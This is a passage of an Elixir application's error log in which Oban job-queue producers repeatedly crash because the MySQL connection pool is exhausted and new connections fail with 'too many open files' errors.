    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:19:55.239034Z], limit: 5, uuid: "4a71a46c-2b49-4616-b32c-00b0cfab970c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:55.239039Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.55844>, refresh_timer: #Reference<0.2525715032.1099431938.55809>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:07.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:19:55.239070Z], limit: 50, uuid: "6a876570-e9a0-40a3-b665-ac6f812568c8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:19:55.239076Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.179636>, refresh_timer: #Reference<0.2525715032.1068498948.54228>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:09.399000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:15.381000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:18.909000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:20:07.242079Z], limit: 5, uuid: "97292f19-d605-472a-b80b-e11bfe9fd976", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:07.242087Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180128>, refresh_timer: #Reference<0.2525715032.1099431938.55946>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:19.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 808ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:20:07.240504Z], limit: 20, uuid: "7ba61110-980e-4037-bd4f-10fe29535903", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:07.240512Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180130>, refresh_timer: #Reference<0.2525715032.1068498948.54375>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 823ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:20:07.242961Z], limit: 50, uuid: "8de924e0-f787-424c-8f32-2ccd5c459a3f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:07.242969Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180129>, refresh_timer: #Reference<0.2525715032.1099431938.55948>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:20:07.241958Z], limit: 5, uuid: "ccdcd578-93aa-4004-a8d3-e86a4cdb128a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:07.241967Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180127>, refresh_timer: #Reference<0.2525715032.1099431938.55942>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:19.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 852ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:20:07.241494Z], limit: 3, uuid: "60edd6d1-853b-42e0-bb83-d2171261e2e1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:07.241501Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180132>, refresh_timer: #Reference<0.2525715032.1068498948.54377>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:19.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1021ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:20:07.241283Z], limit: 10, uuid: "6618f904-1235-4834-bba8-06ee4046515b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:07.241290Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180131>, refresh_timer: #Reference<0.2525715032.1068498948.54376>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:21.695000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:23.721000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:25.587000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:26.555000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:29.689000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:20:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1048ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:20:19.240058Z], limit: 5, uuid: "c1d8624d-d97e-44ad-a886-adf57ba44028", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:20:19.240065Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.180454>, refresh_timer: #Reference<0.2525715032.1077673987.32421>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:20:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
